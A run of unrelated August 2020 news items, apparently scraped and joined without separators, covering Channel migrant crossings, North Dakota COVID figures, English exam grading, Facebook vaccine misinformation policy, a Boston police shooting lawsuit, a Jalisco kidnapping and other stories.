how the new strategy will be financed, but said that details will follow in the coming days and that the United Kingdom will "support in all the ways necessary to make it a success." Johnson's government is under pressure to stem the flow of small boats after more than 4,000 migrants have arrived on British shores this year. According to media reports this weekend, the United Kingdom wants France to stop more boats and take them back to port, while French authorities are seeking 30 million pounds ($39 million) to cover costs. The issue is sensitive for Johnson's government, which has taken the United Kingdom out of the European Union on a pledge to regain control over British borders. The prime minister led the pro-Brexit campaign to victory in 2016 in part thanks to public concern over uncontrolled migration from the European Union. Even though many of the migrants arriving on the British coastline are seeking asylum from countries including Syria, television images of packed boats making the often dangerous journey are still politically charged in Britain. On Monday, Johnson promised to rewrite laws he says make it "very difficult" to deport migrants and asylum seekers ruled to have no right to stay in the United Kingdom. The government also sent a military surveillance aircraft to identify boats attempting the journey so authorities could intercept them. Johnson pledged to work with the French government to tackle the "cruel and criminal gangs" responsible for transporting migrants across the channel. The government must also "look at the legal framework that we have that means that when people do get here, it is very, very difficult to then send them away again," he said. Under the European Union's Dublin Convention, refugees are supposed to seek asylum in the first safe nation they enter. But many do not, instead traveling on to other European destinations. Thousands are camped in Calais at various times, seeking to reach the United Kingdom. Philp said the government will not wait until the United Kingdom no longer falls under E.U. regulations at the end of the year before taking action, calling current migrant numbers crossing the Channel "unacceptable." "French authorities are doing a great deal of work," Philp said. "Policing borders is always a shared responsibility between nation states and the discussions we had today were in that spirit." Burleigh and Morton counties now lead the state with the most active cases of COVID-19, and the state has set a new record with 1,166 active cases. The latest coronavirus data for North Dakota comes as officials made several virus-related announcements Monday, including that the state will take part in a pilot program to develop a vaccination distribution plan. State leaders are also launching a campaign to encourage mask wearing, though they have stopped short of ordering people to wear masks in public. Officials in 34 states are mandating masks at least to some extent, said Gov. Doug Burgum at his weekly virus press briefing. He said he believes decisions on masks are best made locally by businesses and school districts. Masks serve as one of the most powerful weapons we have in slowing the spread of the virus, said Dr. Andrew Stahl, interim state health officer. He urged parents to set an example for their kids by wearing a mask and said hes glad to see that many school districts are requiring them as students return to class this fall. Officials are encouraging people to post photos wearing a mask to social media with the hashtag #MaskUpND. Resources on how to make, wear and care for a mask are available at www.health.nd.gov/maskupnd. Leaders in the Bismarck-Mandan area have also been promoting masks in recent days as the region continues to be a virus hot spot. Morton County has surpassed Cass County, home to Fargo, in terms of active cases, according to coronavirus figures reported by North Dakota health officials Monday. Morton has 115 active cases to the 107 active cases in Cass. For over a month, Burleigh County has had the most active cases in the state. Another 30 cases were reported in the county Monday, bringing its active total to 294. Sixteen more cases were reported in Morton. Other counties that saw a significant number of new cases Monday include Ward, home to Minot, with 12, as well as McLean County north of Bismarck with 11. Health officials reported 117 new virus cases statewide Monday. The latest cases stem from a batch of 4,590 tests processed in labs on Sunday. Vaccination program North Dakota is one of four states taking part in a COVID-19 vaccination pilot program to develop a plan for distributing a future vaccine throughout the state. A team from the U.S. Centers for Disease Control and Prevention and the U.S. Department of Defense is coming to Bismarck to work with officials here on the plan. One of the reasons we were selected is because of our strong relationship with tribal nations to make sure they have a seat at the table, Gov. Doug Burgum said. The states participation is not a sign that North Dakotans will be among the first to obtain a vaccine once one is available, he said. Rather, officials will work through the logistics of one day distributing a vaccine throughout North Dakota. Such distribution plans will likely ensure that vulnerable populations are among the first to get vaccinated, Burgum said. Florida, California, Minnesota and the city of Philadelphia are also taking part in the pilot program. Education The states education chief anticipates that many school districts will encounter cases of COVID-19 in schools, saying Monday that contact tracing efforts and strong partnerships between education officials and local health departments will be key in containing and mitigating the spread. If you are in a school district that doesnt have a confirmed case this school year, you will be an anomaly, State Superintendent Kirsten Baesler said at the governors press briefing. Each school district is devising its own plan for how to administer classes this upcoming school year. Baesler said every district she has heard about so far plans to open its buildings to at least some students some of the time. She announced two new efforts Monday that use federal coronavirus relief dollars to help facilitate learning during the pandemic. The first is a program called North Dakota Exact Path, a platform through the online learning provider Edmentum to help students in reading, writing and math. Exact Path will be available for all public, private, tribal and homeschool students as a supplemental tool. School districts can opt to use it, as can individual families. It will tailor activities to students based on assessments theyve taken in school and provide support to those students through a teacher, which could be a school employee, state education worker or a family member. The North Dakota Department of Public Instruction is spending $1.2 million on the program, which will be available for 14 months. The department is also making 20 scholarships available in a program geared toward paraprofessionals to help them become more highly trained in distance learning for special education. Through the program, participants can obtain a Bachelor of Science degree at Minot State University. Nine people have already started the program this summer. Baesler said its in high demand, as 70 people applied to take part. Virus relief dollars have provided an additional $750,000 in scholarship money. Other announcements Burgum made several other virus-related announcements Monday: Drivers license renewal extensions: The state has a backlog of 20,650 licenses that expired during a grace period issued early on in the pandemic as state facilities closed. Licenses that expired in March, April or May must be renewed by Sept. 30. Licenses that expired in June must be renewed by Oct. 31. Licenses with an expiration date in July, August or September must be renewed by Nov. 30. Licenses that expire in November or December must be renewed by Dec. 31. Economic resiliency grants: The state will start accepting applications Wednesday for grants to make virus-related improvements at businesses, such as installing protective barriers. A business with multiple sites is eligible to apply for up to $100,000. A business with a single site is eligible for up to $50,000. The money stems from federal relief dollars. The grants are available on a first-come, first-served basis through Aug. 28. More information is available at https://ndresponse.gov/. Additional virus data One more person has died with COVID-19, a woman in her 70s with underlying health conditions from Stutsman County, home to Jamestown. Since the start of the pandemic, 113 North Dakota residents have died with the illness. Statewide, 48 people are hospitalized with COVID-19. North Dakota reported another 79 recoveries Monday, bringing the total to 6,434 since the pandemic began. The state has reported 7,713 total cases of COVID-19 this year. Reach Amy R. Sisk at 701-250-8252 or amy.sisk@bismarcktribune.com. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Students will be able to use their mock exam results to progress to university, college and employment if they are higher than their awarded A-level or GCSE grades, the education secretary is to announce. Pupils will also be able to choose to resit their exams in autumn if they are unhappy with their mock grades and the results they receive on Thursday, Gavin Williamson will say, as he announces 30m in funding to help schools and colleges facilitate resits. With this years summer exams cancelled amid months of coronavirus disruption, teachers were told to submit the grades they thought each student would have received if they had sat the papers. Exam boards have moderated these grades to ensure this years results for students in England, Northern Ireland and Wales are not significantly higher than previous years. But unions have urged Westminster to follow Scotlands lead in scrapping moderated grades after Holyrood was forced to reverse the downgrading of more than 124,000 results, which would revert to the grades estimated by pupilss teachers. Every young person waiting for their results wants to know they have been treated fairly, Mr Williamson said. By ensuring students have the safety net of their mock results, as well as the chance of sitting autumn exams, we are creating a triple lock process to ensure they can have the confidence to take the next step forward in work or education. All three grades will hold the same value with universities, colleges and employers, the Department for Education (DfE) is expected to say. For those wishing to use their mock results, evidence will need to be presented to satisfy exam boards that the exam was genuine. The appeals process where individual students in England are dependent on schools and colleges to appeal against results on their behalf is expected to remain the same. The announcement comes after Labour raised concerns that A-level and GCSE results could be downgraded for thousands of pupils in England because of the moderation system. The SNP have been forced into a humiliating U-turn after a shambolic few days, said Labour leader Sir Keir Starmer. With 24 hours before results are released, I would urge the prime minister to change course, or he risks robbing a generation of their future. Some critics of the moderation system said the new triple lock did not go far enough, accusing ministers of using the last-minute scheme as a get out of jail free card, according to The Telegraph. It looks as if Scotland has got it right and we are going to get it wrong, former education secretary Lord Baker told the paper. The people who suffer by general downgrading are the brightest students in the poorest schools. Scotland makes it exceptionally difficult for the prime minister, it is very awkward. Its egg on face, there is no question about that. However, headteachers and teachers told The Independent on Tuesday that they hoped England would not follow suit after its own results day and instead stick with the planned moderation for grades. We need to give our students confidence that the grades that have been standardised, are moderated, and that they are a true reflection of their ability, said Pepe DiIasio, a headteacher in Rotherham. What we shouldnt do is give any sense of uncertainty right now that provokes the storm has taken place in Scotland. What we dont want is people being able to say, or naysayers saying in a years time or even on the day, they got that result but they didnt deserve it or it was harder in my day, he added. That is the bit that worries me most. Additional reporting by PA Marigold Marketing & PR Logo Marigold Marketing & PR Logo CanMar Global Conference & Expo CanMar Global Conference & Expo Toronto, ON, Aug. 11, 2020 (GLOBE NEWSWIRE) -- CanMar Recruitment, Canadas top staffing and business solutions provider for the cannabis industry, is excited to announce its partnership with Marigold Marketing & PR to host a 5-day virtual CanMar Global Conference and Expo on October 23-27, 2020. Over 100,000 attendees are expected to attend, positioning the CanMar Global Conference and Expo 2020 as the largest virtual business-focused cannabis event. Open to businesses, entrepreneurs, investors, and job seekers, the CanMar Global Conference and Expo 2020 will bring together the cannabis community worldwide for professional networking, learning, and engagement opportunities including: Access to a global network of 200 exhibitors and 20 expert panels Unique virtual interview and networking spaces Virtual exhibitor booths Canexions Social Lounge CannTank Investor Series - companies and entrepreneurs of all sizes can make the most of new partnerships and connect with investors Were pleased to be in partnership with CanMar Recruitment to orchestrate this incredible virtual event for the global cannabis industry, says Katie Pringle, Co-Founder of Marigold Marketing & PR. The CanMar Global Conference and Expo 2020 is a great opportunity for businesses and investors to connect face-to-face, gain industry exposure and find a wealth of exciting opportunities. The CanMar Global Conference and Expo 2020 is excited to announce its partnership with Marigold Marketing & PR, an award-winning cannabis marketing and PR firm. Marigold Marketing & PR has made a significant impact in the global cannabis communications space providing clients with the best in branding, social media, publicity and integrated marketing services. Together with our partners we aim to bring people together and change lives for a better future, says KD Khairah, CEO of CanMar Recruitment. Following the recent success of our first virtual event the CanMar Career Day, we launched CanMar Events, a subsidiary of CanMar Recruitment Inc., to deliver the CanMar Global Conference and Expo 2020 experience. Story continues Marigold Marketing & PR will support CanMar Recruitments efforts to make a significant impact on the global cannabis industry by building a stronger community network. For queries about how to become a partner to the CanMar Global Conference & Expo 2020, contact hello@canmarevents.com. Early bird tickets for the CanMar Global Conference & Expo 2020 are now available for $20.00 US online. In addition, $4.20 from the price of every ticket sold will be donated to a selection of charities. For more information or media inquiries, contact Danielle Mckay, Marketing & Media Executive at danielle@marigoldpr.com or visit https://canmarevents.com/. About CanMar Recruitment CanMar Recruitment is your leading global cannabis recruitment firm, uniquely positioned to meet the rising demand for jobs in the global cannabis industry. At CanMar, we understand that for your business to succeed, you need top-quality staff. Our team of cannabis industry recruitment partners use strategies based on a targeted and personalized approach, specific to your needs. We specialize in placing top-quality individuals in a variety of roles across the legalized cannabis sector. About Marigold Marketing & PR Marigold Marketing & PR is an award-winning marketing and PR firm for licensed producers and national brands. Marigold offers full-service packages to clients that include branding, social media, PR and publicity and integrated marketing. Marigold creates results-driven marketing campaigns of all sizes, leveraging paid, owned and earned media. Marigold makes an impact for clients through awareness-building campaigns, industry focus and excellent service. Learn more about Marigolds all-encompassing services here. Attachments CONTACT: Danielle McKay CanMar Recruitment 9058087230 danielle@marigoldpr.com DUBAI, United Arab Emirates - An explosion targeted a U.S.-led coalition convoy in Iraq on Tuesday and caused no casualties, just hours after a newly formed Shiite militant group falsely claimed bombing a similar convoy at the Iraq-Kuwait border, the American military said. The little-known Ashab al-Kahf group claimed in an overnight statement it destroyed equipment and vehicles belonging to the American enemy in a bombing targeting a border crossing south of the Iraqi city of Basra. The group later published an 11-second video it claimed showed the blast, according to the SITE Intelligence Group, which monitors militant groups. The out-of-focus video shows what appeared to be an explosion and lights in the distance but The Associated Press could not verify the video. The Iraqi and Kuwait militaries both denied any attack occurred. U.S. Army Col. Myles B. Caggins III similarly dismissed the claim. Its absolutely false, Caggins told the AP. It was a complete fabrication. There was, however, an explosion that targeted a coalition convoy on Tuesday in the Taji area, north of Baghdad, the Iraqi military said. The attack damaged a truck and caused no injuries, Caggins said. No one claimed responsibility for that attack. Since the 2003 U.S.-led invasion that toppled Saddam Hussein and the later war against the Islamic State group, American troops and contractors sometimes travel by road with equipment and supplies between Iraq and Kuwait. Ashab al-Kahf, or Companions of the Cave in Arabic a reference to a Christian and Islamic story about youths escaping religious persecution by hiding in a cave for hundreds of years emerged alongside renewed threats by Shiite militias amid rising U.S.-Iran tensions. In January, an American drone strike killed a top Iranian general in Baghdad. Tehran responded with a ballistic missile attack that wounded dozens of American troops at a military base in Iraq. The Ashab al-Kahf initially threatened U.S. forces in April and claimed an attack on a convoy in July in Iraqs Salaheddin province. On Aug. 9, another explosion targeted a convoy in the southern Dhi Qar province, reportedly causing minor damage. ___ Associated Press writer Samya Kullab in Istanbul contributed to this report. A crowd of people lined up outside a supermarket in Auckland, New Zealand, late on August 11, after authorities placed the city under Alert Level 3 following confirmation of four new cases of community-transmitted COVID-19 in South Auckland. This video, shared by Samantha Jayne, shows a long line of people standing close together outside a supermarket in the Auckland suburb of Greenlane. Social distancing after just hearing we have community transmission, Jayne wrote. In a statement on its website, Auckland Council said the renewed restrictions would remain in place until August 14. It urged residents not to panic-buy. Under the temporary guidelines, travel in and out of the city will be restricted to essential travel only and residents are advised to work from home if possible. All schools, child-care facilities, bars, restaurants, and businesses are to close while supermarkets, pharmacies, and gas stations will remain open. Credit: Samantha Jayne via Storyful TikTok logos are seen on smartphones in front of a displayed ByteDance logo in this illustration taken on Nov. 27, 2019. (Dado Ruvic/Reuters) French Privacy Watchdog Opens Preliminary Investigation Into TikTok PARISFrances data privacy watchdog CNIL said on Tuesday that it has opened a preliminary investigation into Chinese-owned video-sharing app TikTok after it received a complaint. TikTok, owned by Chinas ByteDance, is already under investigation over privacy concerns by U.S., European Union, and Dutch authorities. A complaint about TikTok was received in May. This complaint is now under investigation, a CNIL spokesman said, confirming a Bloomberg report. He declined to elaborate on the nature of the complaint or the identity of the plaintiff. In the United States, officials have said that TikTok poses a national security risk because of the personal data it handles. President Donald Trump has threatened to ban TikTok and has given ByteDance 45 days to negotiate a sale of TikToks U.S. operations to Microsoft. In June, the European Data Protection Board (EDPB) said it would set up a task force to assess TikToks activities across the bloc after a request from an EU lawmaker concerned about its data collection methods and security and privacy risks. In May, the Dutch privacy watchdog said it would investigate how TikTok handles the data of millions of young users. By Mathieu Rosemain Since the World Health Organization declared the novel coronavirus an international health emergency in January, Facebook has removed more than 7m pieces of content with false claims about the virus that could pose an immediate health risk to people who believe them. The social media giant, which has long been under fire from lawmakers over how it handles misinformation on its platforms, said it had in recent months banned such claims as social distancing does not work because they pose a risk of imminent harm. Under these rules, Facebook took down a video post by US president Donald Trump in which he claimed children are almost immune to Covid-19. But, in most instances, Facebook does not remove misinformation about the new Covid-19 vaccines that are still under development, according to the companys vaccine policy lead Jason Hirsch, on the grounds that such claims do not meet its imminent harm threshold. Hirsch said the company is grappling with the dilemma of how to police claims about new vaccines that are as yet unproven. Theres a ceiling to how much we can do until the facts on the ground become more concrete, Mr Hirsch said in an interview with Reuters. Tom Phillips, editor at one of Facebooks fact-checking partners, Full Fact, sees the conundrum this way: How do you fact check about a vaccine that does not exist yet? For now, misinformation ranging from unfounded claims to complex conspiracy theories about the developmental vaccines is proliferating on a platform with more than 2.6bn monthly active users, a review of posts by fact-checkers and other researchers found. The worry, public health experts said, is the spread of misinformation on social media could discourage people from eventually taking the vaccine. At the same time, free speech advocates fret about increased censorship during a time of uncertainty and the lasting repercussions long after the virus is tamed. Facebook representatives said the company has been consulting with about 50 experts in public health, vaccines, and free expression on how to shape its response to claims about the new Covid-19 vaccines. Even though the first vaccines arent expected to go to market for months, polls conducted in the US show many people are already concerned about taking a new Covid-19 vaccine, which is being developed at a record pace. Some 28% of Americans say they are not interested in getting the vaccine, according to a Reuters/Ipsos poll conducted between July 15-21. A mong them, more than 50% said they were nervous about the speed of development. More than a third said they did not trust the people behind the vaccines development. The UK-based non-profit Center for Countering Digital Hate reported in July that anti-vaccination content is flourishing on social media sites. Facebook groups and pages accounted for more than half of the total anti-vaccine following across all the social media platforms studied by the CCDH. One public Facebook group called REFUSE CORONA V@X AND SCREW BILL GATES, referring to the billionaire whose foundation is helping to fund the development of vaccines, was started in April by Michael Schneider, a 42-year-old city contractor in Waukesha, Wisconsin. The group grew to more than 14,000 members in under four months. Schneider told Reuters he is suspicious of the Covid-19 vaccine because he thinks it is being developed too fast to be safe. I think a lot of people are freaking out, he said. Posts about the Covid-19 vaccine that have been labelled on Facebook as containing "false information" but not removed, include one by Schneider linking to a YouTube video that claimed the Covid-19 vaccine will alter DNA, and a post that claimed the vaccine would give people the coronavirus. Facebook said these posts did not violate its policies related to imminent harm. If we simply removed all conspiracy theories and hoaxes, they would exist elsewhere on the internet and broader social media ecosystem. This helps give more context when these hoaxes appear elsewhere, a spokeswoman said. Facebook does not label or remove posts or ads that express opposition to vaccines if they do not contain false claims. Read More Covid-19 is beating Donald Trump and depleting his support Hirsch said Facebook believes users should be able to express such personal views and that more aggressive censorship of anti-vaccine views could also push people hesitant about vaccines towards the anti-vaccine camp. ITS KIND OF ON STEROIDS At the crux of Facebooks decisions over what it removes are two considerations, Hirsch said. If a post is identified as containing false information, it will be labelled and Facebook can reduce its reach by limiting how many people will be shown the post. If the false information is likely to cause imminent harm, then it will be removed altogether. In March 2019, Facebook said it would start reducing the rankings and search recommendations of groups and pages spreading misinformation about any vaccines. Facebooks algorithms also lift up links to organisations like the WHO when people search for vaccine information on the platform. Misinformation about other vaccines has rarely met Facebooks threshold for risking imminent harm. However, in Pakistan last year, the company intervened to take down false claims about the polio vaccine drive that were leading to violence against health workers. In the Pacific island state of Samoa, Facebook deleted vaccine misinformation because the low vaccination rate was exacerbating a dangerous measles outbreak. To combat misinformation that doesnt meet its removal criteria, Facebook pays outside fact-checkers who can rate posts as false and attach an explanation. The company said 95% of the time, people who saw fact-checkers' warning labels did not click through to the content. Still, the fact-checking programme has been criticised by some researchers as an inadequate response to the volume and speed of viral misinformation on the platforms. Fact-checkers also do not rate politicians posts, and they do not judge posts that are exclusively in private or hidden groups. Determining what constitutes a false claim regarding the Covid-19 shot is much harder than fact-checking a claim about an established vaccine with a proven safety record, Facebook fact-checkers said. In a study published in May in the journal Nature, physicist Neil Johnsons research group found that there were nearly three times as many active anti-vaccination groups on Facebook as pro-vaccination groups during a global measles outbreak from February to October 2019, and they proliferated faster. Since the study was published, anti-vaccine views and Covid-19 vaccine conspiracies have flourished on the platform, Johnson said, adding, Its kind of on steroids. Violence broke out in the eastern city of Port Sudan on Sunday evening, the SUNA news agency said, quoting medics who had treated the wounded Sudan said Tuesday 13 people were killed and 42 injured in days of clashes between rival ethnic groups in its Red Sea port, state media reported. Violence broke out in the eastern city of Port Sudan on Sunday evening, the SUNA news agency said, quoting medics who had treated the wounded. Police sent in reinforcements and have imposed a night-time curfew, the statement added. Fighting began when protestors from the Nuba people, demonstrating against a new governor, entered a district of the Beni Amer group. There is long standing hostility between the groups. The Nuba originate from the South Kordofan region, an area that suffered from the decades of civil war. The Beni Amer people come from eastern Sudan. Search Keywords: Short link: The weaknesses of the younger generation, of course, is that they grew up in the most commodified culture in the history of the world. So there's something always very superficial about spectacle in a commodified culture. It's all about what's visible. What is projected. What your image is and so forth and so on. Just to give you one example, you can find a lot of the young brothers and sisters always talking about what they brand is. I say, I ain't got no god-dang brand. I got a cause. You know what I mean? They put a brand on enslaved Africans when they came here and kept that brand on them. But that language, that market language, is built into the culture. That's the mentality of a spectacle. So you've got to shatter the superficial to get at the substantial. Indonesia is negotiating with key regional governments, including Australia's, to allow international tourism to re-start. Luhut Binsar Pandjaitan, one of the most influential members of President Joko Widodo's cabinet, said the country would not "hurry" to reopen its borders but planned to begin accepting foreign tourists from September 11 were on track. Indonesia's Minister for Maritime Affairs and Investment Luhut Binsar Pandjaitan. Credit: The co-ordinating minister for maritime affairs and investment, a former general and presidential chief of staff, took a thinly-veiled swipe at critics of his country's handling of the pandemic, highlighting the failure by the United States and Singapore to contain the virus. Tourism contributes billions of dollars annually to Indonesia's economy and it received more than 16 million visitors in 2019. The majority of those tourists travelled to the holiday island of Bali, including 1.3 million Australians last year, more than any other nation. The University of Pennsylvania announced Tuesday that its fall semester will be conducted virtually, with dorms closed to most students. A student is shown moving out of Penn dorms in this March 2020 file photo. Read more The University of Pennsylvania will hold only remote classes for undergraduates this fall, and almost no students will live in its dormitories, officials said Tuesday. Penn will also cut tuition by 3.9%. Citing the alarming rate of COVID-19 spread across the country, officials including Penn president Amy Gutmann said that they could not offer the hybrid learning experience they had hoped, with students who wanted to live on campus doing so. Instead, all classes will be held virtually and dorms will be open only to international students and those with significant housing or personal hardships. Penns decision comes as a growing number of school districts and universities opt for all digital experiences in the face of rising coronavirus cases. Princeton University on Friday made that move. Other schools including Lehigh, Rutgers, West Chester, the College of New Jersey, and Dickinson have gone the same route, with no or very limited housing on campuses. Penn also joins a number of schools cutting student costs, despite the pandemics wreaking havoc with school finances. Penn had initially planned to bring about 4,000 students back to campus for the fall semester. Roughly 5,500 students lived on campus before the pandemic. Graduate and professional programs at Penn will evaluate their own operations, officials said. Gutmann and other top university officials said they made the decision with an enormous sense of sadness. But if they did allow all Penn students to live on campus with the current trends of coronavirus spread, officials said, most would have to go into a two-week quarantine. Supply chain issues have also hampered the availability and turnaround time for COVID-19 tests. The combination of these factors radically constrains our ability to provide a safe and meaningful on-campus experience for our undergraduates, Gutmann said in a message to the university community. READ MORE: Some colleges are starting to cut tuition as coronavirus keeps students off campus Penn had already said most courses would be online, with limited exceptions for some classes, like nursing clinics. No on-campus activities will be held, either. For the safety of our students and the broader community, we are encouraging all other students not to return to Philadelphia, the universitys message said. Officials said the universitys faculty would provide robust educational opportunities, but they deeply regret that these changes represent a significant disappointment to families and students. Penns tuition cut effectively freezes last years tuition rate. Penn will also reduce its general fee by 10%. Students who have paid housing and dining fees will receive credits or refunds. Earlier this month, Penn students set to work in residence halls aired concerns with any plan to bring students back to campus, demanding hazard pay and safer conditions inside dorms. Penns announcement, which comes less than a month before the planned Sept. 1 start of the fall semester, threw many students plans into question. RAs and GAs still dont have any information about whether we still have our housing, whether we are able to work remotely and still keep our jobs and housing for at least the spring, said Kaiyla Banks, a rising senior from Philadelphia and a resident adviser who worries about what the decision will mean for vulnerable first-generation college students and those who are low-income. Were still in the dark. Cole McCann-Phillips, a rising sophomore from Berkeley, Calif., said many of his peers have already bought plane tickets to Philadelphia because Penn said they would have a place to live. It really is just horrifying to me, the lack of cognizance that Penn has demonstrated by including one line in the email asking students not to return to West Philadelphia, McCann-Phillips said. Its a really hard Catch-22 because, on the one hand, you dont want to bring people from around the country into Philadelphia, but on the other hand, people should be guaranteed housing by the university. More privileged Penn students who already planned to come to University City will now likely search for off-campus housing, McCann-Phillips said, calling the move tone-deaf. Displacing people from the West Philadelphia community is definitely going to happen, he said. A wrongful death suit filed this week has brought new details to light about the police shooting of Justin Root, who led officers on a chase with a replica gun through Boston and Brookline earlier this year. The 37-page complaint, filed by Roots family in U.S. District Court in Boston on Monday, alleged the six officers who killed Root in February shot him at least 31 times within the span of 3 seconds without warning. The family claimed Root was on the ground, unarmed, seriously injured and desperately struggling to breath. The mans sister, Jennifer Root Bannon, who filed the suit on behalf of her brothers estate, also alleged Root did not show a weapon and was not given immediate attention after he was shot. The officers who fatally wounded Root bragged about killing him and talked about how to cover up their actions, Bannon added. Norfolk District Attorney Michael Morrissey, though, cleared the five Boston police officers and one Massachusetts State Police trooper of wrongdoing in a final report on the use-of-force incident released in March. According to the prosecutor, the 41-year-old man was shot 26 times by officers within 3.5 seconds. Morrissey also wrote that before Root was shot, he reached for what police thought was a gun in a shoulder holster he was wearing. It was later found out to be a Crosman C11 BB gun. However, the suit Bannon filed claimed Root made no threatening or overt act toward the officers or anyone else. In sum, he undeniably posed no immediate threat to harm anyone, she wrote. The individual defendants undeniably used unnecessary, gratuitous, and disproportionate force in affecting the seizure of Mr. Root in violation of his constitutional rights. The six officers who Morrissey confirmed shot Root are Boston police Officers David Godin, Brenda Figueroa, Corey Thomas, Joseph McMenamy and Leroy Fernandes as well as state police Trooper Paul Conneely. They are all named as defendants in Bannons suit. The city of Boston is also being sued by Bannon, who accused it of violating Roots rights guaranteed by the Fourth Amendment, which prohibits unreasonable searches and seizures, and the 14th Amendment, which ensures the equal protection of the law to all citizens. By this action, the estate seeks to shed light on precisely what transpired on February 7, 2020, to hold the defendants accountable for their wrongful conduct, and to ensure that appropriate remedial measures are taken by the Boston Police Department and the city of Boston to prevent similar tragic killings in the future, the lawsuit said. The pursuit that ultimately led to Roots death started around 9 a.m. on Feb. 7 after he flashed what appeared to be a gun at a security officer at Brigham and Womens Hospital in Boston, according to authorities. The Mattapan resident fled the scene, leading police on a chase from the intersection of Fenwood Road and Vining Street in Boston to the intersection of Route 9 and Hammond Street in Brookline, where the 41-year-old man crashed his car. Before the shooting, Root approached Godin at the corner of Fenwood Road and Vining Street with what the lawsuit claims were a clear plastic paintball gun, Morrissey said. Two identical paintball guns were later discovered in Roots damaged car. Godin told the Boston resident to drop the gun after Root aimed it at the policeman. The officer raised his own weapon and retreated, according to the district attorneys report. The policeman then fired his weapon at Root and fell backward on the sidewalk, at which point both men began to fight on the ground, the report said. Boston Police Officer Michael St. Peter, who was at the scene, heard the shots fired and saw Root standing over Godin with his BB gun pointed at the policeman, according to Morrissey. He then shot at Root. At no point during the interaction did Root fire his uncharged and unloaded paintball pistol, the mans family pointed out. In her complaint, Bannon accused Godin of violating Boston Police Department policy by not using his department-assigned gun, instead shooting Root with a firearm he was not qualified to use. Godin did not know why he did not have his BPD-issued gun, Bannon said. While he was interviewed as part of Morrisseys investigation, the officer said he could not remember the make or caliber of his firearm either, according to Roots sister. During the altercation between Root and the two officers, a 49-year-old valet employee was struck in the head by a bullet from either Godin or St. Peters gun. He was discharged from the hospital roughly two weeks later after being critically injured. An investigation by Suffolk District Attorney Rachael Rollinss office into Godins and St. Peters conduct is ongoing, Bannon said. After being shot by St. Peter, Root limped to his Chevrolet Volt and drove toward Huntington Avenue and Route 9, according to authorities. He eventually crashed, exited his vehicle and fled to a mulched area at a nearby Star Market before police arrived, Morrisseys report said. According to the report, the six officers named as defendants in Bannons suit ordered Root to show his hands and get on the ground, but the 41-year-old man instead reached for his BB gun. Police then shot and killed him. Bannon argued that the officers later acknowledged they never saw Root point or show a gun at them or anyone else. She claimed that at the time he was shot, her brother posed no immediate threat to police, adding that many alternatives to lethal force could have been used. He was helpless and incapacitated as a result of the tremendous loss of blood from the gunshot wound he had suffered a few minutes earlier on Vining Street, her suit said. Root was taken to Beth Israel Deaconess Medical Center in Boston, where he died. His cause and manner of death was determined to be homicide by multiple gunshots from law enforcement weapons, according to the district attorney. The mans autopsy report showed there was a total of 50 gunshot wounds or bullet holes in Roots body, according to Bannons lawsuit. Twenty-six of the shots were deemed entry wounds, and 22 were injuries to his torso. He also had six bullet holes in his right leg, five in his left leg, eight in his left arm and elbow, a through-and-through hole in a right finger, a through-and-through hole in his left thumb and a graze wound on the left side of his chest, the suit said. Mr. Root suffered brain hemorrhaging due to a projectile that hit his vertebrae, resulting in a sudden rush of blood from his aorta to his brain. The officers failed to give medical aid to Root immediately after the shooting and instead showed callous disregard for the mans life, according to videos recorded of the scene, Bannon alleged. Video footage recorded immediately after the shooting showed the officers congratulating each other, boasting and discussing how to cover up their actions, according to Bannons suit. They said statements such as, Yeah, I killed that mother f-----, I emptied my magazine on him, Just shut your f------ mouth, You got a [union] rep coming?, I wont talk and I gotta get out of here. Related Content: Norfolk DA clears 6 police officers in shooting of Justin Root, man with replica gun who led authorities on chase from Brigham and Womens Hospital Authorities in the western Mexican state of Jalisco have launched a search after a man was kidnapped from his store by armed men posing as law enforcement agents. Surveillance video leaked on social media and to local media organizations showed the moment Carlos Javier Flores was approached by four individuals dressed in black at his grocery store in San Gaspar, a neighborhood in the city of Tonala. The fake cops also wore bulletproof vests with badges that identified themselves as members of the Jalisco State Prosecutor's Office. The 47-year-old grocery store owner's wife, Laura Flores, told UNO TV that the men advised Flores they were only conducting an inspection before they took him away as their daughters looked on. Carlos Javier Flores stands behind the counter at his grocery story in Jalisco, Mexico, as an armed man posing as a police agent approached him on Saturday. The individual was one of four posing as cops and informed told Flores they were there as part of a routine inspection and led him into an unmarked pickup truck. Flores has not been seen or heard of since A surveillance camera outside Carlos Javier Flores' grocery in Tonala, a city in the Mexican state of Jalisco, records the moment the 47-year-old was reportedly kidnapped by four men who identified themselves as cops. The Jalisco State Prosecutor's Office said no law enforcement agencies participated in the bogus arrest Carlos Javier Flores was reportedly threatened and told warned would be kidnapped if he insisted collecting $223 he was owed by a woman 'The first thing [they] told him [was] that [it was] a routine check-up and after that they grabbed him and put him in the truck,' Laura Flores said. 'We went out and we asked them why were they going to take him away and they didn't answer us. They just closed the doors and left.' In the two videos that appeared online, at no point did Carlos Javier Flores resist being arrested. Laura Flores said she used her cellphone to record the armed individuals leading her husband into an unmarked, black pickup truck. She also managed to record the vehicle's rear license plates although the last couple of numbers were partially covered. She added that her husband had opened the shop three weeks ago and that last week he received a phone call in which he was threatened with being kidnapped if he did not forego the collection of a $178 loan owed by a woman. Carlos Javier Flores, a grocery store owner in Jalisco, Mexico, is led into a pickup truck by four men disguises as police officers on Saturday. His family reported him missing Carlos Javier Flores, who expected to collect $223 with interest already included, never filed a report with the police. The Jalisco State Prosecutor's Office issued a statement Monday confirming that Carlos Javier Flores was not in custody of the Tonala municipal police, Jalisco state police or that he had been detained by agents from their department. 'It should be noted that according to information obtained by the Jalisco Prosecutor's Office derived from other investigation files of people who were kidnapped, criminal groups use the tactic of posing as law enforcement agents in order to commit different crimes,' the prosecutor's office said. ['It's] a situation that has remained in evidence in different operations where the seizure of tactical equipment, clothing and other objects with logos of different municipal, state and federal agencies was pulled off.' A fire killed 11 coronavirus patients early Sunday at a southern Indian hotel being used as a COVID-19 facility, officials said, in the second such incident this month. The blaze at Hotel Swarna Palace in the city of Vijayawada in Andhra Pradesh state broke out at 5 a.m. Rescue teams evacuated those trapped in the multistory building, said Senior police officer Srinivasulu, who uses only one name. At least 22 people were brought to hospitals, he said. The fire was brought under control but the smoke was still billowing out from the building, he said. Srinivasulu said that an electrical short-circuit appeared to be the cause of the fire. Prime Minister Narendra Modi expressed his condolences and assured survivors of all possible support. This the second fire incident at a COVID-19 facility in India this month. On Thursday, eight people were killed in a fire in the intensive care unit of a private COVID-19 designated hospital in Ahmedabad in 